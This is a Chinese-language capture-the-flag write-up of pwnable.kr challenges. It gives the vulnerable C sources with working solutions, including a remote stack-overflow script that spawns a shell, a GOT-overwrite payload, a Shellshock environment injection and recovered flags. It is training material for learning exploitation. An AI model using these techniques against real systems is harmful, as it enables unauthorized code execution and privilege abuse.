准备
关于反汇编时函数显示 plt
注意 pwndbg 对 heap 命令进行过一次大改,最后一次还易使用 commit 为 fbd2bb3abfc2500aae76d159e23015008e879b8d
1. [fd]
题目
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
分析
我们首先注意到 read 函数语法,暂时没找到
由于 fd 为传入可控,当我们将 fd=0x0时,即 fd=stdin 时,我们就可以控制 buf 内的内容,从而通过判断获取 flag
解题
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
2. collision
题目
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
分析
- 限制传入值为 20 字节
- 将传入的内容分为 5 个 int 值
- sum 之和需为 hashcode
0x21DD09EC == 568134124 == 113626824*4 + 113626828
解题
col@pwnable:~$ ./col `echo -e "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06"`
daddy! I just managed to create a hash collision :)
或者
col@pwnable:~$ ./col `printf "\xc8\xce\xc5\x06%0.s" {1..4} && printf "\xcc\xce\xc5\x06"`
daddy! I just managed to create a hash collision :)
https://qastack.cn/superuser/86340/linux-command-to-repeat-a-string-n-times
3. bof
题目
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
分析
在 Ninja 中,可以方便看到逻辑判断
我们来看下C语言函数调用栈的典型内存布局
因为存储变量时是从低地址开始覆盖的,所以从 ebp-0x2c 到 ebp+0x8,我们需要覆盖长度 0x34 的数据,然后覆盖变量值为0xcafebabe
解题
#!/usr/bin/env python3
from pwn import *
conn = remote("pwnable.kr", 9000)
conn.sendline(b"A"*52 + p32(0xcafebabe))
conn.interactive()
4. flag
题目
Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
分析
首先拿到题目,直接拖进 Ninja 可以发觉是加了壳的,简单识别下可以看到是 upx 壳
利用upx -d
脱壳
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ '/home/pwn/tools/upx-3.96-amd64_linux/upx' -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag
Unpacked 1 file.
查看下 main 函数,注意到字符串存储的位置
点进去看下,可以看到上面的那串应该就是 flag 了
解题
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ strings flag | grep ':)'
UPX...? sounds like a delivery service :)
5. passcode
题目
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
分析
利用 scp 把题目拷下来
pwn@pwn-Parallels-Virtual-Platform:~/tools/die_lin64_portable$ scp -P 2222 [email protected]:/home/passcode/passcode ./
[email protected]'s password:
passcode 100% 7485 7.3KB/s 00:01
再来检测下程序开启了哪些保护措施,注意到 PIE 没有开启
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ checksec passcode
[*] '/home/pwn/桌面/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
回到代码,注意到scanf("%d", passcode1);
这段代码是有问题的,首先考虑直接溢出覆盖passcode1 以及 passcode2,338150 == 0x000528e6已经出现了0x00截断,因此无法实现变量覆盖
那么直接覆盖RET呢?注意到开启了 Canary,需要绕过,暂时不会:(
但是注意到 PIE 没有开启,而且passcode1前面没有取地址符号&
,我们可以覆盖内存地址为passcode1的数据内容
这样我们通过将 passcode1 设置为 fflush 的 GOT 表单,通过 scanf 将调用地址指向 system("/bin/cat flag");
达成绕过认证获取 flag,大致步骤如下:
从 name 到 passcode1 的长度为 (ebp+0x70) - (ebp-0x10) = 0x80 == 96
看一下 fflush 的 GOT 地址为0x0804a004
pwn@pwn-Parallels-Virtual-Platform:~/桌面$ objdump -R passcode passcode: 文件格式 elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
再通过 gdb 查看
system("/bin/cat flag");
开始调用的指令地址为 0x080485e3,同时注意到scanf 传参时为%d
,所以需要转换成 int 型数据(gdb) disassemble login Dump of assembler code for function login: 0x08048564 <+0>: push %ebp 0x08048565 <+1>: mov %esp,%ebp 0x08048567 <+3>: sub $0x28,%esp 0x0804856a <+6>: mov $0x8048770,%eax 0x0804856f <+11>: mov %eax,(%esp) 0x08048572 <+14>: call 0x8048420
0x08048577 <+19>: mov $0x8048783,%eax 0x0804857c <+24>: mov -0x10(%ebp),%edx 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov 0x804a02c,%eax 0x08048590 <+44>: mov %eax,(%esp) 0x08048593 <+47>: call 0x8048430 0x08048598 <+52>: mov $0x8048786,%eax 0x0804859d <+57>: mov %eax,(%esp) . . . 0x080485d7 <+115>: movl $0x80487a5,(%esp) 0x080485de <+122>: call 0x8048450 0x080485e3 <+127>: movl $0x80487af,(%esp) 0x080485ea <+134>: call 0x8048460 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: movl $0x80487bd,(%esp) 0x080485f8 <+148>: call 0x8048450 0x080485fd <+153>: movl $0x0,(%esp) 0x08048604 <+160>: call 0x8048480 End of assembler dump.
解题
passcode@pwnable:~$ python -c "print 'A' * 96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
6. random
题目
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
分析
因为直接 random 为伪随机,我们只需要知道程序中生成的值是多少就可以直接拿来利用了
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004005f4 <+0>: push rbp
0x00000000004005f5 <+1>: mov rbp,rsp
0x00000000004005f8 <+4>: sub rsp,0x10
0x00000000004005fc <+8>: mov eax,0x0
0x0000000000400601 <+13>: call 0x400500
0x0000000000400606 <+18>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400609 <+21>: mov DWORD PTR [rbp-0x8],0x0
0x0000000000400610 <+28>: mov eax,0x400760
0x0000000000400615 <+33>: lea rdx,[rbp-0x8]
0x0000000000400619 <+37>: mov rsi,rdx
0x000000000040061c <+40>: mov rdi,rax
0x000000000040061f <+43>: mov eax,0x0
0x0000000000400624 <+48>: call 0x4004f0 <__isoc99_scanf@plt>
0x0000000000400629 <+53>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040062c <+56>: xor eax,DWORD PTR [rbp-0x4]
0x000000000040062f <+59>: cmp eax,0xdeadbeef
0x0000000000400634 <+64>: jne 0x400656
0x0000000000400636 <+66>: mov edi,0x400763
0x000000000040063b <+71>: call 0x4004c0
0x0000000000400640 <+76>: mov edi,0x400769
0x0000000000400645 <+81>: mov eax,0x0
0x000000000040064a <+86>: call 0x4004d0
0x000000000040064f <+91>: mov eax,0x0
0x0000000000400654 <+96>: jmp 0x400665
0x0000000000400656 <+98>: mov edi,0x400778
0x000000000040065b <+103>: call 0x4004c0
0x0000000000400660 <+108>: mov eax,0x0
0x0000000000400665 <+113>: leave
0x0000000000400666 <+114>: ret
End of assembler dump.
可以确认 random 存在 rbp-0x4,输入值存在 rbp-0x8
注意小端存储,所以 random=0x6b8b4567
输入值:0x6b8b4567 ^ 0xdeadbeef = 3039230856
解题
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
7. input
题目
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
分析
一共有 5 关:
- 传入 100 个参数,参数 ‘A’(65) 为
\x00
参数 ‘B’(66) 为\x20\x0a\x0d
- 从 stdin 中读取输入
\x00\x0a\x00\xff
,stderr 中读取输入\x00\x0a\x02\xff
- 从环境变量去读
\xde\xad\xbe\xef
,需要值为\xca\xfe\xba\xbe
- 读当前目录下
\x0a
文件,前 4 个字节需要为\x00\x00\x00\x00
- 读取参数 ‘C’(67) 为端口值,发送
b
至此端口
解题
from pwn import *
from time import sleep
conn = ssh(host="pwnable.kr", port=2222, user="input2", password="guest")
conn.write("/tmp/sa/stdin", b"\x00\x0a\x00\xff")
conn.write("/tmp/sa/stderr", b"\x00\x0a\x02\xff")
conn.write(b"/tmp/sa/\x0a", b"\x00\x00\x00\x00")
args = list("." * 100)
args[ord('A')] = b"\x00"
args[ord('B')] = b"\x20\x0a\x0d"
args[ord('C')] = "47362"
envs = {b"\xde\xad\xbe\xef":b"\xca\xfe\xba\xbe"}
p = conn.process(argv=args, cwd="/tmp/sa/", env=envs, executable="/home/input2/input", stdin="/tmp/stdin", stderr="/tmp/stderr")
sleep(2)
sock = conn.remote("127.0.0.1", 47362)
sock.send("\xde\xad\xbe\xef")
p.interactive()
执行结果:
pwn@pwn-Parallels-Virtual-Platform:~/pwnable.kr$ /usr/bin/python3 /home/pwn/pwnable.kr/7_input.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] [email protected]:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.179
ASLR: Enabled
[+] Starting remote process '/home/input2/input' on pwnable.kr: pid 145635
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
[*] Got EOF while reading in interactive
8. leg
题目
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0
0x00008d54 <+24>: bl 0xfb6c
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8
0x00008d98 <+92>: bl 0x1050c
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc
0x00008da0 <+100>: bl 0xf89c
0x00008da4 <+104>: b 0x8db0
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0
0x00008dac <+112>: bl 0x1050c
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; instruction: 0x0006a4b0
0x00008dcc <+144>: ; instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
分析
通过 c 文件看,就是找到 key1、key2、key3 之和即可
key1:
- 当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
- 当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节
当只有一个结果返回时,会放在 r0 里,所以 key1:0x00008cdc + 0x8 = 0x00008ce4
key2:
由于 0x00008cfc 处 r6:0x1 + 0x00008cfc + 0x8 = 0x00008d05 最后一位为 1 导致在0x00008d00处进入 Thumb 状态,于是 0x00008d06 处 r3 = 0x00008d04 + 0x4 + 0x4 = 0x00008d0ckey3:
连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能:
- 保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回
- 当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断
可以看到下一条指令的地址为 0x00008d80
所以 key3:0x00008d80
综合计算 key1 + key2 + key3 = 0x00008ce4 + 0x00008d0c + 0x00008d80 = 108400
解题
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!
9. mistake
题目
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
分析
题目给了提示
hint : operator priority
然后注意到这句if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
这里面的执行优先级是有问题的,应该为if((fd=open("/home/mistake/password",O_RDONLY,0400)) < 0)
,错误的写法导致 fd=0,紧跟着 read 则会从 stdin里面读取 10 位长度内容作为 password
所以最终 pw_buf 和 pw_buf2 我们都能控制,只要保证每一位和 1 进行亦或即可
解题
mistake@pwnable:~$ ./mistake
do not bruteforce...
0000000000
input password :
1111111111
Password OK
Mommy, the operator priority always confuses me :(
10. shellshock
题目
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
分析
破壳漏洞的利用,这篇文章好点
查看有漏洞的 bash 版本
shellshock@pwnable:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
同时注意到文件权限
shellshock@pwnable:~$ ls -sail
total 980
23593359 4 drwxr-x--- 5 root shellshock 4096 Oct 23 2016 .
23593232 4 drwxr-xr-x 116 root root 4096 Apr 17 14:10 ..
23593368 940 -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
23593367 4 d--------- 2 root root 4096 Oct 12 2014 .bash_history
23593366 4 -r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
23593364 4 dr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssi
23593361 4 drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
23593363 12 -r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
23593360 4 -r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
解题
shellshock@pwnable:~$ env x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
11. coin
题目
---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------
You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward :)
FYI, you have 60 seconds.
- How to play -
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer
- Example -
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!
- Ready? starting in 3 sec... -
分析
二分法找 coin
解题
远程跑容易受到网络影响,推荐部署到/tmp/
里本地跑,非常快
from pwn import *
from time import sleep
from re import compile
conn = remote("pwnable.kr", 9007)
print(conn.recv())
sleep(3)
def getList(start, end):
return ' '.join([str(x) for x in list(range(int(start), int(end)))])
while True:
status = False
data = conn.recv().decode('utf-8')
print("[<-] recv: %s" % data)
NC = compile("^N=([0-9]*) C=([0-9]*)$").match(data)
W = compile("^([0-9]*)$").match(data)
if NC:
end = int(NC.group(1))
fp = (0, end//2)
sp = (end//2, end)
status = True
elif W:
if int(W.group(1)) == (fp[1] - fp[0]) * 10:
fp = sp
tp = (fp[0] + fp[-1])//2 + (fp[0] + fp[-1]) % 2
sp = (tp, fp[-1])
fp = (fp[0], tp)
status = True
elif "format error" in data or "time expired" in data:
print("[>.< Bye...")
break
if status:
data = getList(fp[0], fp[1])
print("[->] send: %s" % data)
conn.send(data + "\n")
[<-] recv: Congrats! get your flag
b1NaRy_S34rch1nG_1s_3asy_p3asy
12. blackjeck
题目
原地址:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
// Programmer: Vladislav Shulman
// Final Project
// Blackjack
// Feel free to use any and all parts of this program and claim it as your own work
//FINAL DRAFT
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h> //Used for srand((unsigned) time(NULL)) command
#include <process.h> //Used for system("cls") command
#define spade 06 //Used to print spade symbol
#define club 05 //Used to print club symbol
#define diamond 04 //Used to print diamond symbol
#define heart 03 //Used to print heart symbol
#define RESULTS "Blackjack.txt" //File name is Blackjack
//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;
//Function Prototypes
int clubcard(); //Displays Club Card Image
int diamondcard(); //Displays Diamond Card Image
int heartcard(); //Displays Heart Card Image
int spadecard(); //Displays Spade Card Image
int randcard(); //Generates random card
int betting(); //Asks user amount to bet
void asktitle(); //Asks user to continue
void rules(); //Prints "Rules of Vlad's Blackjack" menu
void play(); //Plays game
void dealer(); //Function to play for dealer AI
void stay(); //Function for when user selects 'Stay'
void cash_test(); //Test for if user has cash remaining in purse
void askover(); //Asks if user wants to continue playing
void fileresults(); //Prints results into Blackjack.txt file in program directory
//Main Function
int main(void)
{
int choice1;
printf("\n");
printf("\n");
printf("\n");
printf("\n 222 111 ");
printf("\n 222 222 11111 ");
printf("\n 222 222 11 111 ");
printf("\n 222 111 ");
printf("\n 222 111 ");
printf("\n");
printf("\n%c%c%c%c%c %c%c %c%c %c%c%c%c%c %c %c ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);
printf("\n%c %c %c%c %c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);
printf("\n%c %c %c%c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, club, club);
printf("\n%c%c%c%c%c %c%c %c %c%c %c %c %c %c ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);
printf("\n%c %c %c%c %c %c%c%c%c %c %c %c%c %c ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);
printf("\n%c %c %c%c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, club, club);
printf("\n%c %c %c%c %c %c %c %c %c %c ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);
printf("\n%c%c%c%c%c%c %c%c%c%c%c%c%c %c %c %c%c%c%c%c %c %c ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);
printf("\n");
printf("\n 21 ");
printf("\n %c%c%c%c%c%c%c%c %c%c %c%c%c%c%c %c %c ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);
printf("\n %c%c %c %c %c %c %c %c ", diamond, diamond, heart, heart, club, club, spade, spade);
printf("\n %c%c %c %c %c %c %c ", diamond, diamond, heart, heart, club, spade, spade);
printf("\n %c%c %c %c%c %c %c %c %c ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);
printf("\n %c%c %c %c%c%c%c %c %c %c%c %c ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);
printf("\n %c%c %c %c %c %c %c ", diamond, diamond, heart, heart, club, spade, spade);
printf("\n %c %c%c %c %c %c %c %c %c ", diamond, diamond, diamond, heart, heart, club, spade, spade);
printf("\n %c%c%c %c %c %c%c%c%c%c %c %c ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);
printf("\n");
printf("\n 222 111 ");
printf("\n 222 111 ");
printf("\n 222 111 ");
printf("\n 222222222222222 111111111111111 ");
printf("\n 2222222222222222 11111111111111111 ");
printf("\n");
printf("\n");
asktitle();
printf("\n");
printf("\n");
system("pause");
return(0);
} //end program
void asktitle() // Function for asking player if they want to continue
{
char choice1;
int choice2;
printf("\n Are You Ready?");
printf("\n ----------------");
printf("\n (Y/N)\n ");
scanf("\n%c",&choice1);
while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
{
printf("\n");
printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
scanf("%c",&choice1);
}
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
{
system("cls");
printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
printf("\nEnter 2 to See a Complete Listing of Rules.");
printf("\nEnter 3 to Exit Game. (Not Recommended)");
printf("\nChoice: ");
scanf("%d", &choice2); // Prompts user for choice
if((choice2<1) || (choice2>3)) // If invalid choice entered
{
printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
scanf("%d", &choice2);
}
switch(choice2) // Switch case for different choices
{
case 1: // Case to begin game
system("cls");
play();
break;
case 2: // Case to see rules
system("cls");
rules();
break;
case 3: // Case to exit game
printf("\nYour day could have been perfect.");
printf("\nHave an almost perfect day!\n\n");
system("pause");
exit(0);
break;
default:
printf("\nInvalid Input");
} // End switch case
} // End if loop
else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
{
printf("\nYour day could have been perfect.");
printf("\nHave an almost perfect day!\n\n");
system("pause");
exit(0);
}
return;
} // End function
void rules() //Prints "Rules of Vlad's Blackjack" list
{
char choice1;
int choice2;
printf("\n RULES of VLAD's BLACKJACK");
printf("\n ---------------------------");
printf("\nI.");
printf("\n Thou shalt not question the odds of this game.");
printf("\n %c This program generates cards at random.", spade);
printf("\n %c If you keep losing, you are very unlucky!\n", diamond);
printf("\nII.");
printf("\n Each card has a value.");
printf("\n %c Number cards 1 to 10 hold a value of their number.", spade);
printf("\n %c J, Q, and K cards hold a value of 10.", diamond);
printf("\n %c Ace cards hold a value of 11", club);
